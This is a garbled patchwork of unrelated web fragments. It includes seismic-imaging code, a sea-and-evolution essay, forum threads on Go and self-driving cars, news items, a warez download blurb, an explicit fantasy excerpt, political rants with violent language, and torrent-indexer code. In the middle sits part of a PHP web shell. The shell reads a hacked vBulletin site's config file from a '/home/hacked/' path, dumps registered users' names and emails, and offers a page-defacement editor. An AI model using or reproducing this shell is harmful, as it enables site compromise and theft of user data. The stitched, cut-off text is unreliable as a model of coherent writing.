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15212, 407, 27961, 15, 187, 187, 4485, 187, 40387, 1832, 187, 4374, 15, 380, 5580, 1127, 273, 3617, 369, 6326, 281, 320 ]	(vel,"d3",&dz)) sf_error ("No d3= in slowness"); if (!sf_histfloat(vel,"o3",&z0)) z0=0.; sf_putint (out,"n3",nz); sf_putfloat(out,"d3",dz); sf_putfloat(out,"o3",z0); } /* from hertz to radian / dw = 2.SF_PI; w0 = 2.SF_PI; / allocate space for slowness and image / slow = sf_slice_init(vel,ny,nx,nz); imag = sf_slice_init(inv? in:out,ny,nx,nz); / initialize split-step / split2_init(nz,dz,ny,dy,nx,dx,ntx,nty,padx,pady,nr,dt); split2 (verb, inv, eps, nw, dw, w0, inv? out:in, imag, slow); exit (0); } I am lying on hot slab of rock on the coast of Maine. Fifty feet down to my right, the Atlantic Ocean crashes against a cliff face. I watch as the water spews upward and across a pile of boulders, leaving tide pools in its wake. I am completely mesmerized. The waves come and they go and I stare and stare, my mind totally blank. But then I realize it's not so much blank as content, mentally at rest, and that it's been a while since I've felt this good. The water has apparently washed away any thoughts of stuff I need to do for work, or personal troubles that days before were weighing me down. I'm on vacation, I say to myself, and that's why happiness has taken over my brain. But then I realize it's human nature to seek out bodies of water. In fact, maps of the world's population show that the bulk of humanity today lives near water. We live along coastlines, around the rims of bays, up the course of rivers and streams, and on islands. We also vacation at the beach and find solace fishing on a lake. Nothing makes small children happier than the chance to splash through puddles. More surprising, this human penchant for water makes evolutionary sense. Sure, we need drinking water to live, but we have also benefited from what's swimming under the waves. Neuroscientist Michael Crawford of the University of North London has proposed that our ancient ancestors were devotees of the sea, and that their devotion paid off by allowing the human species to develop large and complex brains. Crawford claims that when humans separated from apes and emerged from the forests of Africa, they stuck close to rivers and beaches and started feasting on fish, clams and crabs. That marine diet was packed with omega-3 fatty acids, essential fatty acids that promote brain cell growth. It's no coincidence, Crawford claims, that human brain growth began to increase exponentially once we left the woods and headed for the beach. Scientists have also discovered that people who eat fish regularly, like I've been doing since we crossed the Maine state line, are less like to suffer from depression than those who eschew seafood. Psychiatrist and lipid biochemist Joseph Hibbelin of the National Institutes of Health has shown that across cultures there is a direct correlation between ounces of fish eaten each week and rates of depression. More interesting, Hibbelin and researcher Laura Reis have found that fish is commonly used as a symbol of happiness and good health in various religions and cultures. We know that fish and the sea are good for us, and so we seek them out, and when we move inland, or go home from vacation, we sadly lose touch with our maritime roots. Meredith F. Small is an anthropologist at Cornell University. She is also the author of "Our Babies, Ourselves; How Biology and Culture Shape the Way We Parent" (link) and "The Culture of Our Discontent; Beyond the Medical Model of Mental Illness" (link). Video: Clever Primates 10 Things You Didn't Know About You Gallery: Freaky FishQ: gsub: replace word if not wrapped in brackets I would like to gsub a word, but only cases where it is not wrapped in brackets. x <- c("hello","[hello]") I would like gsub(regex,"test",x) to return c("test","[hello]"), but I am having trouble creating the correct regex statement. A naive implementation is: gsub("^(?!\\[).$","test",x, perl=TRUE), which works in the above case, but only because each string is one word, so it doesn't work for x <- "hello [hello]" for example, which I want to be test [hello]. I've tried a bunch of different lookaheads to no avail. Any help would be appreciated. Input x <- c("hello", "[hello]", "hello [hello]") Desired # [1] "test" "[hello]" "test [hello]" A: You can use negative look around to set constraint to the word boundaries, for instance (?<!\\[)\\b\\w+\\b(?!\\]) will replace words only if the word boundary is not []: gsub("(?<!\\[)\\b\\w+\\b(?!\\])", "test", x, perl = TRUE) # [1] "test [hello]" # assuming this is your desired output \\b\\w+\\b will look for a word but with negative look-behind?<! and negative look-ahead?!, the word boundary should not be []. You can also reference this answer. Work has ramped up on RailBlazer’s construction at California’s Great America. In the past week, heavy equipment has arrived on scene, and crews have drilled holes for foundation work. CGA also received the first shipment of track from Rocky Mountain Construction’s Idaho facility. That wraps up this update. Great America closes for the season on Oct. 29, and will reopen on Nov. 24 for its one-month WinterFest run. Share this: Facebook Twitter LinkedIn Email The main sell point of Go is not simplicity, but overall balance and flexibility - tapirl https://github.com/go101/go101/wiki/The-main-sell-point-of-Go-is-not-simplicity,-but-overall-balance-and-flexibility ====== dvirsky Go is the worst programming language out there, aside from any other language I've tried so far. Seriously though, besides being just a good solid balance between speed, ease, safety, etc without anything really exciting - there are a few cool things about Go that make you write cleaner programs: The biggest one for me (well, maybe after the concurrency model) was the whole implicit interface thing, alongside interface composition and avoiding Java-style class hierarchy. It just forces you to think in interfaces and avoid complex hierarchies. This leads to much cleaner elegant code-bases. ~~~ guessmyname Edit: @CharlesW made me realize that @dvirsky is not bashing on the language, the comment below is a reaction to their choice of words, specifically to the first sentence. That being said, I will keep my comment as is for context. I would have chosen the word _“boring”_ rather than _“worst”_ to describe Go, but I am not a native English speaker so maybe _“worst”_ is okay. \--- > _Go is the worst programming language out there, aside from any other > language I've tried so far._ Ha! Opinions, it’s always interesting to hear what other people thing about stuff I use every day. I, on the other hand, enjoy programming with Go. It has opened a lot of doors in my career and I can even attribute my success to its existence. Roughly five years ago I was struggling to justify a higher salary in my home country; soon after I started using Go and promoting my projects people started sending invitations to interview for jobs in different companies. I took a chance and quit my job, traveled to the US, a few European countries and Asia, looking for a good company to build my next ±5 years of experience, and finally settled in one of the majors cities in Canada with a company that pays me considerably well to write programs in a language that you consider the worst out there. But you know what? I understand your feelings, because I also have a programming language in mind that I consider the worst out there, but you will never find me throwing dirt at it or its community because I know there are people out there who enjoy working with it the same way I enjoy working with Go. ~~~ CharlesW BTW, the parent commenter is saying that Go is their favorite programming language. They're using a form similar to "democracy is the worst form of Government except for all those other forms that have been tried from time to time", which was quoted by Churchill. ------ Animats Yes. The sell point of Go was supposed to be
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6184, 432, 12568, 15328, 15, 3024, 310, 4122, 21012, 285, 1959, 273, 667, 6581, 13, 23019, 1935, 390, 519, 1935, 15, 657, 304, 300, 20302, 313, 17213, 10850, 10, 8439, 8139, 187, 187, 1845, 11174, 90, 308, 514, 982, 1959, 6184 ]	, etc. where one legal person might be responsible for the acts of another. So, again, rather than vague handwaves at poorly defined distinctions, I'd like to hear those arguing that liability law is a real imminent problem with AI that will require major and fundamental change to do something to specify the specific ways in which existing law is inadequate. ------ warmfuzzykitten This is a clickbait meme that has been done to death. There is no reason to assume that self-driving cars won't behave as selfishly as human drivers. That is, act in the self-interest of the passengers in all but the most extreme cases, most of which will be beyond the capability of the AI (or human driver) to understand. Like a human, an AI might be expected to stop suddenly if a child runs into the street, even at the risk of being rear- ended, because the risk to the passengers is minor. In the same circumstance, one would not expect an AI to drive off a cliff to avoid the child. ------ gus_massa Previous discussion (It has no too many comets, but the comments are interesting.) : [https://news.ycombinator.com/item?id=9584026](https://news.ycombinator.com/item?id=9584026) (9 points, 60 days ago, 5 comments) ------ headstrongboy The problem with this article us that it does not take into account consequences. With human drivers the consequences of hitting another driver or pedestrian is on the driver while for automatised vehicles the consequences will be on a few companies. Companies are rarely held accountable for their action as seen by the GM ignition switch deatht except for a few fines and law suits. While a driver can be arrested and tried by criminal law for their actions. A person also has to live with the fact they killed someone while companies it will be a statistic. ------ jmnicolas Ah the endless protectionist argument : let's take all control from your life so that we can save lives. The road to hell is paved with good intentions. I'm not saying people dying is a good thing and nothing should be done to prevent it, but we are to be reasonable about it. No matter what we do, people will eventually die, so let's not transform our lives in something so boring that the only non natural cause of death will be suicide. ------ kardos Banks get hacked, governments get hacked, purveyors of malware get hacked, sleazy websites get hacked.... any reason to expect that self-driving cars won't get hacked? Something as complex as autonomous pilot software surely has plenty of attack surface, which will be promptly exploited by scum like HackingTeam to provide remote control/monitoring abilities to shady customers. ------ malandrew I honestly don't think this will ever be the case because it relies on two major assumptions: (1) there is some parent process in control of both cars involved in an accident. (2) all cars implement the same AI. What is far more likely is a future in which there are many different types of self-driving AIs on the road from many different manafacturers, each of which will have different algorithms for all aspects of autonomous driving. Ultimately, this diversity will lead to carmakers designing algorithms that speculate on what another car might do. This is likely because the coordination costs between n different automaker's autonomous systems will rise with the square of n. In other words, unless we end up with a monoculture or only two or three different systems on the road, coordination just isn't going to happen. The second issue is that even if the automakers could coordinate, such coordination would rely on vehicle to vehicle communication of the actions each car wants to take. Coding the decision making for other cars into each car to anticipate onboard makes no sense because your vehicle would not have access to the sensor data to resolve the decision of the other car. Lastly, with V2V communications, negotiation and decision making, the impact of latency in likely to be so costly to making the best decision that any attempts of doing V2V negotiation will either be non-trivial or limited to an extremely simple model such as each car proposing n strategies (where n is like 2-3 solutions) and each care deciding the best option and incompatible option. This could keep negotiation fast enough to make a best decision. Regardless of whether there is negotiation or merely guessing in real time about what the other car might do, the only thing each autonomous system designer can consider is the well-being of their passengers. All vehicles involved in an imminent accident acting in the self interest of their passengers is likely to be the optimal solutions. The only improvement I can see is some negotiation where some ideas of what decisions the other car might make allows each vehicle to make slightly between decisions to preserve the well being of their passengers. People just like bringing this up because it lets them discuss this interesting philosophical question about morality. Once these discussions encounter the realities of how autonomous cars are likely to evolve and penetrate the market, it's going to be painfully obvious that this is a futile thought exercise to even waste your time with. ------ cabirum I'll go with a custom firmware which saves driver's life unconditionally. ~~~ MatthewWilkes How does the firmware save you from the prison shank? ------ colin_jack Pity the title refers to an interesting discussion point that isn't discussed till quite late in the article, and then only fleetingly. eh, i can see this for desktops but for mobile part of the appeal of ad blocking is speed increase and data decrease. Of all tyrannies, a tyranny sincerely exercised for the good of its victims may be the most oppressive. It would be better to live under robber barons than under omnipotent moral busybodies. The robber baron's cruelty may sometimes sleep, his cupidity may at some point be satiated; but those who torment us for our own good will torment us without end for they do so with the approval of their own conscience. ~C. S. LewisLancaster confirmed he has retained his injured crew of players with a hope he can take them on England's summer tour to New Zealand. The England boss admitted he could not reasonably select Flood, despite pleading with the 28-year-old not to move to France in the summer. Lancaster said: "We are hopeful that some of those injured may be available before the end of the Six Nations and certainly for the (summer) New Zealand tour. "I have met Toby Flood several times and told him I really wanted him to stay at Leicester and play for England. "He has made a lifestyle choice and we respect that, but given the RFU's policy of not selecting players based overseas save for exceptional circumstances it was important that we allow others such as George Ford to progress. "Stephen Myler has a chance to lay down a marker when he trains with us while we have decided that Freddie Burns should get more international game time with the Saxons against the O2 Ireland Wolfhounds at Kingsholm on January 25, while Rob Webber and Richard Wigglesworth will give us some depth to our training."Ugandan President Yoweri Museveni on Friday said that his nation risks a trade boycott if lawmakers were to reinstate a controversial anti-gay law that was invalidated on a technicality in August by the country’s Constitutional Court. Museveni, who has previously said he supports strong legislation against what he calls the promotion of homosexuality in Africa, now says reinstating the law — which allowed for jail terms of up to life for homosexual “offenses “– could lead to a trade boycott by companies in the West. Reuters reports that in a commentary on Friday in the state-run New Vision daily, Museveni said, “To carelessly and needlessly open unnecessary wars with useful customers is irresponsible to say the least.” Museveni said he was not worried by the aid cuts that followed the initial law, but warned that the law would likely antagonize consumers in the West, risking access to a rich export market. Article continues below Earlier this year, the U.S., the World Bank and some European countries delayed or redirected tens of millions of dollars in funding to Uganda’s government over the anti-gay measure, piling pressure on this East African country that depends on foreign aid to implement about 20 percent of its budget. In August, a panel of judges on Uganda’s Constitutional Court jettisoned the anti-gay law because it was passed during a parliamentary session that lacked a quorum. The court did not rule on the substance of the anti-gay measure, leaving the door open for lawmakers to try to reintroduce a similar law or a version of it.Vigilantes free download video game for Windows PC. Download free full version “Vigilantes” from Gameslay. The game setup is tested and 100% fully working PC Game for free Download. The direct/torrent download from Gameslay.net is highly compressed and free of any virus, spyware or adware. Vigilantes (Video Game) Review … Prodigy Tactics free download
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594, 359, 1833, 923, 253, 2583, 348, 3751, 11608, 449, 187, 187, 11, 475, 475, 475, 187, 187, 7910, 3038 ]	.send("topic1", "Hello World!"); sleep(1_000); // Just for the spike. (Wait for message in production test, with test timeout.) assertAll( () -> assertEquals(1, payloadsReceived.size()), () -> assertEquals("Hello World!", payloadsReceived.get(0)) ); } private void sleep(long millis) { try { Thread.sleep(millis); } catch(InterruptedException e) { } } } gradle.build plugins { id 'org.springframework.boot' version '2.2.7.RELEASE' id 'io.spring.dependency-management' version '1.0.9.RELEASE' id 'java' } group = 'com.example' version = '0.0.1-SNAPSHOT' sourceCompatibility = '11' configurations { compileOnly { extendsFrom annotationProcessor } } repositories { mavenCentral() } dependencies { implementation 'org.springframework.boot:spring-boot-starter' implementation 'org.springframework.kafka:spring-kafka' compileOnly 'org.projectlombok:lombok' annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor' annotationProcessor 'org.projectlombok:lombok' testImplementation('org.springframework.boot:spring-boot-starter-test') { exclude group: 'org.junit.vintage', module: 'junit-vintage-engine' } testImplementation 'org.springframework.kafka:spring-kafka-test' // for TestContainers testCompile group: 'org.testcontainers', name: 'testcontainers', version: "1.14.1" testCompile group: 'org.testcontainers', name: 'junit-jupiter', version: "1.14.1" } test { useJUnitPlatform() } A: There are reasons why Testcontainers' Kafka module exists :) It takes care of the ports setup by deferring running Kafka's process, so that it can provide the actual assigned random port as ADVERTISED_HOST env variable. Try it, or have a look at the sources for some inspiration: https://github.com/testcontainers/testcontainers-java/tree/master/modules/kafka Dark Gods Rising Book One of God Wars A dark fantasy trilogy E. A. Draper and Mark Eller White Wolf Press, LLC Cover Illustration by T-Rex Studios t-rexstudios.com Smashwords Edition Copyright 2014 E. A. Draper and Mark Eller Chapter 1— Changer's Ring Glace shortened his stride amid the market crowd just before stumbling into a soft-faced young man. The man's hungry eyes were fastened on a half-naked woman who spun slow circles on the walkway before an irate merchant's stall. Catching sight of her admirer, she stopped spinning, smiled lewdly, winked, and put on the shirt she clutched in her left hand. Glace scowled when the laughing woman strolled away. Chuckling, the young man clapped Glace on the shoulder with a too friendly hand. Glace's unhappy scowl deepened. "Now that's something you don't see every day," the young man said. "Not unless you hang out in the Downs." "I see it too damn often," Glace growled, shrugging away the unwelcome hand. Still scowling, he walked away, took the first turn on the right and the second turn on his left. Half a block later he stopped, leaned an elbow on a hitching rail, and waited. When Cass finally arrived, she threw her arms around his neck and kissed him soundly. "Did you see their eyes when I flashed my boobs? Gods, they're easy." Giggling, she planted a wet kiss on his cheek. "So come on. Give. What'd you get from the fellow? He dressed posh." Feeling sullen, Glace remained silent. "You're unhappy." Cass finally noticed. Her smile faded. "Why?" "Did you have to turn yourself into a harlot's display?" Pulling away, her fading smile disappeared altogether. Narrowing eyes showed the first dangerous signs of anger. Glace forced his frown into the sick semblance of a smile. He had overstepped his bounds, again, and Cass was not pleased. Perfect green eyes threw shadows over a delicate moon-shaped face while she studied him. Shoulder length hair, smelling faintly of jasmine, flowed from her aristocratic head, framing her face in a shroud of brilliant red. She was exquisite, mysterious, and dangerous, a woman beyond compare, and he had an uncontrollable mouth which might one day drive her away. "You told me to distract him," Cass said flatly. "I didn't tell you to strip for him," Glace muttered. Provocative and mocking, her smile returned. She trailed the tips of her fingers across his chest, making his skin tingle, making him want to pull her tight to him and rip off the clothes he had just chided her for not wearing. "Was I a bad girl?" Her hips thrust forward, pressing against his groin as her hand rose to grip the back of his neck. "Do you want to collar me? I'll wear one for you." Glace forced his tense muscles to relax. "It's just that...sometimes...you act like a whore." "Mmmm. Your whore." Wrapping both arms around his neck, Cass molded herself against him until there was no space left for intruding air. She kissed the corner of his mouth once, and then again. "I promise. You're the only man who can touch me. I'll eat the face of anyone else who tries." "Yeah, well." Feeling uncomfortable, Glace unlocked her fingers from around his neck. "It doesn't mean I have to like it when they look at you. I just don't understand why you hate wearing clothes." "It excites me, baby. I like it when they look at me with hungry eyes. I love it when they think I'm their prey, but we know different. Don't we, lover? Now tell me. What did we get from the popinjay?" Accepting the unspoken truce, Glace reached into his belt pouch, pulled out a ring, and handed it to her. "Only a few copper coins and this. His purse was almost empty." "Flash dresser with empty pockets," Cass said contemptuously, studying the ring with disinterest, but then her eyes widened, and she grinned. "Or maybe not. I've seen this design before. Please tell me those little baubles are real diamonds. I really want them to be real." "I have doubts." Glace studied the ring. Six clear stones circled a larger blue one. A snarling wolf's head was carved into the blue stone's surface. Not a usual design, perhaps, but not so very unusual, either. No, to him the most interesting and disappointing part was the band. It was made of a green metal he had never before seen. It felt slick against his fingers, perhaps even slimy, telling him the ring was made from some kind of cheap metal. At best, he figured, worth about twenty coppers, which meant he and Cass might get three or four. "I'm thinking you're wrong." Cass gestured toward the ring. "We have to take it to Mathew Changer." Glace felt himself pale. "I don't like Mathew." "You don't like him because I want him to father my children." Cass chuckled. "Don't worry, lover. I told you, you're the only man who will touch me. Still," she paused, "he does business at the Hellhole. Tessla's been hanging around there lately, and she doesn't like me." "Rumor says Trelsar's assassin was arrested a couple days ago," Glace said. "She's supposed to hang next week." Suddenly feeling good because Cass seemed to have forgiven his jealousy, he grinned. "By my count, it's the sixth time this year she's been sentenced for murder." Cass nodded with satisfaction. "That's all right then. Trelsar's whore doesn't usually escape until a day or two before the scheduled hanging. I've heard it said she likes the quiet when she isn't murdering some poor soul for her so called virtuous god. If you ask me, Trelsar's more of a hypocrite than a god, but I know you favor him over somebody more reasonable, like Zorce. Anyway, Mathew it is and tonight while she's still a prisoner. The Hole's always most interesting after sunset. The hellborn come out then, so we'll see the moneychanger tonight." * * * * Two hours
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1533, 13, 1690, 253, 2448, 11163, 13, 588, 1908 ]	now. When I was that age, if somebody had lent me that kind of money, I’d either be a billionaire, or be locked away in debtor’s prison by now. Or not. The point is that to take out loans totaling $220K and then complain about having to pay the interest is a farce. Sure, it will probably take poor Jonathan a decade or more to pay off those loans, but what of it? Was he making an investment in his future or not? No, you see, that’s not enough for young Jonathan: “For the greater good,” we should all be investors in his future. Sorry, but I’m not interested in that sort of ‘investment.’ Don’t get me wrong: I’m sure young Jonathan is a fine man, and he’ll probably make a great slip-and-fall lawyer one day, but in the mean time, he’d better pay up with a big fat smile on his face. You see, I actually had this very conversation with a young person recently, who was looking at the costs of attending the school from which he hopes one day to receive a degree, and I offered the other options open to him, and even offered my story about my own ‘loan officer.’ He replied in a matter-of-fact tone that “Well, you made your choices, and you took the path you did.” His intent had been to dismiss my story, and yet as I the grin widened on my face, he looked confused at first, and then it hit him: “Okay, yes, I guess I see your point.” It was somewhat amusing to hear his laments about how he’s now “over a barrel.” He can either continue his education, accruing more debt along the way, or he can quit, and begin repaying the loans immediately. As I explained to him, “life has us all over a barrel.” Of course, I understand how the government is going to financially wreck so many of these youngsters. Now that the government is the sole source for guaranteed student loans, the government is going to wreck as many youngsters as they can hook into this system. Naturally, the education establishment is only too happy to continue to increase tuition, because I can guarantee you that the faculty lounge won’t suffer. This is the inevitable result of letting government intrude where the private sector should exist. They created the government-guaranteed student loan program in order to entice lenders into loaning money to students for college, since they had been such an historically awful risk. Once the government guaranteed the loans, it was inevitable that some Marxist would nationalize the program. I am fairly certain that was the intention from the beginning. After all, you can’t walk away from federally guaranteed(and now issued) student loans through bankruptcy, much like income tax debt, and everybody beyond the age of thirty understands that socialists love captive markets. If we did that with healthcare, we wouldn’t have the insurance problems we do, but that also wouldn’t enable government to grow larger and reach into another market, ultimately nationalizing it, as they intend with seemingly everything. At some point, this country is going to be faced with a choice about whether we wish to fix all of these things permanently, or simply implode and become a full-bore communist state. I’ve seen the latter up close, and I’m afraid that’s where we’ve been heading, but young Jonathan doesn’t know that, and his professors aren’t likely to have told him. Instead, they’ve probably filled his head with notions of how “the greater good” is the sole consideration, but what they’ve never told him is who will be determining what constitutes the greater good, or the public interest. He believes he will have some say in the matter. At every level now, the Federal government reaches into everything, but the simple truth of the matter is that this can generally happen only because people invite it in. Too many people suffer under the delusion that the government is able to fix anything and everything, and that since there’s no immediate and obvious cost to them, they are quite happy to have the “help.” All of this ignores the tendency of government to resemble a mob loan-shark, or a gang of mobsters in general. Once you accept the help, there’s no ridding yourselves of them. More, it’s a bit like the drug pusher, who gets people hooked on “free samples” but once addicted, the new junkie would kill his family to obtain another fix. In other words, it’s about us. Just as the pusher can gain no ground so long as you tell him “no,” so too is it the case that if we begin to tell the government “no,” it will lose its power. That means doing something most people are tested to do: Say no to themselves. Young attorney and Levin caller Jonathan could have told himself “no.” That would have been difficult, with a degree from a “top 25 law-school” dangled before his ambitious eyes. Now that it turns out his eyes may have been a little larger than his belly, he’s not happy about it, but I’m sure there was no dissuading him at the time. Somebody needs to tell him “no.” Waive the interest? No. Delay payments? No. Forgive the debt? Hell no! “No” is the most effective word on Earth against socialism, but it’s the word too many in this country are now afraid to utter, to their children, their neighbors, fellow citizens, but most particularly, themselves. Until we learn to say it and mean it, poor kids like Jonathan will never understand its power. Government bureaucrats will never understand their limits. Politicians will never cease in their abuses. We will never be happy. Learn to say “No” and stand by it. Refusing your consent is the one thing that cannot be taken from you. Jonathan could have said “No” to the interest he’ll now pay, simply by refusing the loans. Having taken them, he has found that he now has no right to refuse. Do I feel sorry for Jonathan? Do you? About the author markamerica You can follow any responses to this entry through the RSS 2.0 feed. Both comments and pings are currently closed. the unit College…education…this day and time? Oxy…moron…breathing…idiot. Sign on for that and get meaningless degree…one should have to pay the rest of one’s life! Meaningless degree…is any degree that adds nothing to increased production and betterment of life for self, family and those others in your realm. As for world…lots of realms have to overlap. Even the Russian Constitution said “from each according to his ability, to each according to his need, but if you don’t work…you don’t eat.” Look it up. Occupy don’t count. There are degrees worth it, but you don’t “occupy” to get them. Even now there are jobs if one chooses a field with a need. On another note…the latest joke from Bill Clinton, who said in the S.C. primary of 2008, “he should be serving us coffee,” now is leading fund raisers for “O.” The joke is this from AP today…”It makes absolutely clear that, to the extent that there were different wings of the Democratic party, there is now one wing of the Democratic party,” said Chris Lehane, a Clinton backer. “And it’s the president’s party.” Really one wing…are you better off now…the old joke was …”Hillary Special @ KFC, two small breasts, two large thighs, and one left wing.”I am a musician. I didn't know I would be so when I was young. I do know that I have always heard music in my head that I wasn't hearing somewhere else and I 'needed' this music. And obedient to the laws of nature, I created into this vacuum.Do you guys believe the "I Told You So" story is good? Because I do not believe it, especially when the guy who says it is a dictator. In Romania, there are some voices who tend to moan for the old communist leader, Ceausescu, because the sons of bitches who are now into power are goddamn robbers. But I don't like to hear the words: "I told you so". I think that these robbers should be hanged by the highest tree, but I still don't think that communism was the right way. Back to Syria. There are voices saying that the world is scared that if the UN will give arms to the rebels then the zone will be the hottest zone on the planet, or at least the whole situation will be very dangerous for Israel. "I told you so", all parties will say, after. I do not believe the "I told you so" slogan is good. I think that every dictator on the planet should be strangled and burned alive while drowned. Let's not hide behind our shadows, because we are too scared of our size! We all know that the US is still making the international law. I don't care what will happen next. Given the circumstances, this son of a bitch Bashar al-Assad should have a taste of the US drones and the US satellites, for the sake of equilibrium in battle, if not for the better. Obama wants to win for another mandate. I think that if he will do nothing, given the multiple occasion the US intervened in the world, the world, including the American voters, will consider
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3073, 394, 2730, 1206, 2730, 10989, 31, 190, 187, 29, 9229, 2730, 630, 1416, 568, 4663, 630, 3, 2250, 20679 ]	th><th><input type="submit" name="Connect" value="Connect" /></th><tr><td>Host : </td><td><input name="host" value="localhost" /></td></tr> <tr><td>User : </td><td><input name="user" value="root" /></td></tr> <tr><td>Pass : </td><td><input name="pass" value="" /></td></tr> <tr><td>Name : </td><td><input name="db" value="vb" /></td></tr> </table> </form> <? } if ($act == 'lst' && isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['host']) && isset($_POST['db'])) { $host = $_POST['host']; $user = $_POST['user']; $pass = $_POST['pass']; $db = $_POST['db']; mysql_connect($host,$user,$pass) or die('<font color=red>Nope,</font><font color=yellow>No cOnnection with user</font>'); mysql_select_db($db) or die('<font color=red>Nope,</font><font color=yellow>No cOnnection with DB</font>'); if ($pass == '') { $npass = 'NULL'; } else { $npass = $pass; } echo'<font size=3>You are connected with the mysql server of <font color=yellow>'. $host. '</font> by user : <font color=yellow>'. $user. '</font>, pass : <font color=yellow>'. $npass. '</font> and selected DB with the name <font color=yellow>'. $db. '</font></font>'; ?> <hr color="#00FF00" /> <? $re = mysql_query('select * from user'); echo'<table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"><th>ID</th><th>USERNAME</th><th>EMAIL</th>'; while ($row = mysql_fetch_array($re)) { echo'<tr><td>'. $row['userid']. '</td><td>'. $row['username']. '</td><td>'. $row['email']. '</td></tr>'; } echo'</table>'; ?> <table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"><th><? $count = mysql_num_rows($re); echo 'Number of users registered is : [ '. $count.']'; ?></th></table> <? } if ($act == 'users'){ ?> <form name="myform" action="?act=lst" method="post"> <table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"> <th>:::::DATABASE CONFIG:::::</th><th><input type="submit" name="Connect" value="Connect" /></th><tr><td>Host : </td><td><input name="host" value="localhost" /></td></tr> <tr><td>User : </td><td><input name="user" value="root" /></td></tr> <tr><td>Pass : </td><td><input name="pass" value="" /></td></tr> <tr><td>Name : </td><td><input name="db" value="vb" /></td></tr> </table> </form> <? } if ($act=='config') { ?> <form name="myform" action="?act=reconfig" method="post"> <table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"> <th>:::::CONFIG PATH:::::</th><th><input type="submit" name="Connect" value="Read" /></th> <tr><td>PATH : </td><td><input name="path" value="/home/hacked/public_html/vb/includes/config.php" /></td></tr></table></form> <? } if ($act=='index') { // Index Editor<HTML Editor> ?> <script language='javascript'> function link(){ var X = prompt("EnterText","") if (X=="" \| X==null ) { return; } var y = prompt("Enterlink","") if (y=="" \| y==null ) { return; } indexform.index.value=indexform.index.value + "<a href=" + y +">"+X+"</a>"; } function right(){ var X = prompt("Enter Text","") if (X=="" \| X==null ) { return; } indexform.index.value=indexform.index.value + "<p align='right'>"+X+"</p>"; } function left(){ var X = prompt("Enter Text","") if (X=="" \| X==null ) { return; } indexform.index.value=indexform.index.value + "<p align='left'>"+X+"</p>"; } function center(){ var X = prompt("Enter Text","") if (X=="" \| X==null ) { return; } indexform.index.value=indexform.index.value + "<center>"+X+"</center>"; } function colour(){ var X = prompt("EnterText","") if (X=="" \| X==null ) { return; } var y = prompt("EnterColour","") if (y=="" \| y==null ) { return; } indexform.index.value=indexform.index.value + "<font color=" + y +">"+X+"</font>"; } function b(){ var X = prompt("Enter Text","") if (X=="" \| X==null ) { return; } indexform.index.value=indexform.index.value + "<B>"+X+"</B>"; } function u(){ var X = prompt("Enter Text","") if (X=="" \| X==null ) { return; } indexform.index.value=indexform.index.value + "<U>"+X+"</U>"; } function i(){ var X = prompt("Enter Text","") if (X=="" \| X==null ) { return; } indexform.index.value=indexform.index.value + "<I>"+X+"</I>"; } function mar(){ var X = prompt("Enter Text","") if (X=="" \| X==null ) { return; } indexform.index.value=indexform.index.value + "<marquee>"+X+"</marquee>"; } function img(){ var X = prompt("Enter link","") if (X=="" \| X==null ) { return; } indexform.index.value=indexform.index.value + "<img src='"+X+"'></img>"; } function br(){ indexform.index.value=indexform.index.value + "<br>"; } </script> <table border="1" bordercolor="#008000" bordercolordark="#008000" bordercolorlight="#008000"><th><a onclick='return center()'>Center</a> \|\|\| <a onclick='return left()'>Left</a> \|\|\| <a onclick='return right()'>right</a> \|\|\| <a onclick='return b()'>Bold</a> \|\|\| <a onclick='return u()'>UnderLine</a> \|\|\| <a onclick='return i()'>Italic</a> \|\|\| <a onclick='return br()'>NewLine</a> \|\|\| <a onclick='return colour()'>Colour</a> \|\|\| <a onclick='return mar()'>Marquee \|\|\| <a onclick='return img()'>Picture</a> \|\|\| <a onclick='return link()'>Link</a></a></th><tr><TD> <center><form name="indexform" action=""
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61, 79, 92, 19, 32722, 4031, 13, 15784, 15, 5677, 254, 26592, 13, 385, 4027, 187, 50258, 94, 187, 50262, 94, 187, 50266, 94, 187, 50266, 28293, 313, 5330, 385, 10, 187, 50266, 92, 187, 50262, 2374, 21962, 4756, 9, 16680, 15, 8590, 2776, 13, 385, 558, 187, 50266, 94, 535, 50266, 2309, 16784, 28, 187, 50270, 94, 535, 50270, 605, 10591, 6554, 3048, 1329, 187, 50270, 4387, 12970, 20605, 17526, 29, 8833, 5456, 31, 21578, 9, 31490, 3048, 10, 187, 50270, 92, 187, 50266, 2044, 6184, 4492, 426, 3048, 28, 187, 50266, 2044, 2380, 426, 14303, 19107, 3378, 33466, 447, 19168, 9, 4492, 15, 21395, 6020, 187, 50266, 2044, 1543, 426, 2380, 15, 8590, 2776, 28, 187, 50266, 2044, 14736, 9179, 20455, 426, 747, 388, 10842, 20455, 1874, 187 ]	, "Архив (Японское порно)"); AddCategoryMapping(1723, TorznabCatType.XXX, "Эротические студии, фото и журналы / Erotic Picture Gallery.."); AddCategoryMapping(1802, TorznabCatType.XXX, "Архив (Фото)"); AddCategoryMapping(1745, TorznabCatType.XXX, "Хентай и Манга, Мультфильмы и Комиксы, Рисунки / Hentai&Ma.."); AddCategoryMapping(1838, TorznabCatType.XXX, "Игры / Games"); AddCategoryMapping(1829, TorznabCatType.XXX, "Обсуждение игр / Games Discussion"); AddCategoryMapping(11, TorznabCatType.XXX, "Нетрадиционное порно / Special Interest Movies&Clips"); AddCategoryMapping(1681, TorznabCatType.XXX, "Дефекация / Scat"); AddCategoryMapping(1683, TorznabCatType.XXX, "Архив (общий)"); AddCategoryMapping(1688, TorznabCatType.XXX, "Гей-порно / Gay Forum"); AddCategoryMapping(1720, TorznabCatType.XXX, "Архив (Гей-порно)"); } public override async Task<ConfigurationData> GetConfigurationForSetup() { configData.CookieHeader.Value = null; var response = await RequestWithCookiesAsync(LoginUrl); var LoginResultParser = new HtmlParser(); var LoginResultDocument = LoginResultParser.ParseDocument(response.ContentString); var captchaimg = LoginResultDocument.QuerySelector("img[src*=\"/captcha/\"]"); if (captchaimg!= null) { var captchaImage = await RequestWithCookiesAsync("https:" + captchaimg.GetAttribute("src")); configData.CaptchaImage.Value = captchaImage.ContentBytes; var codefield = LoginResultDocument.QuerySelector("input[name^=\"cap_code_\"]"); cap_code_field = codefield.GetAttribute("name"); var sidfield = 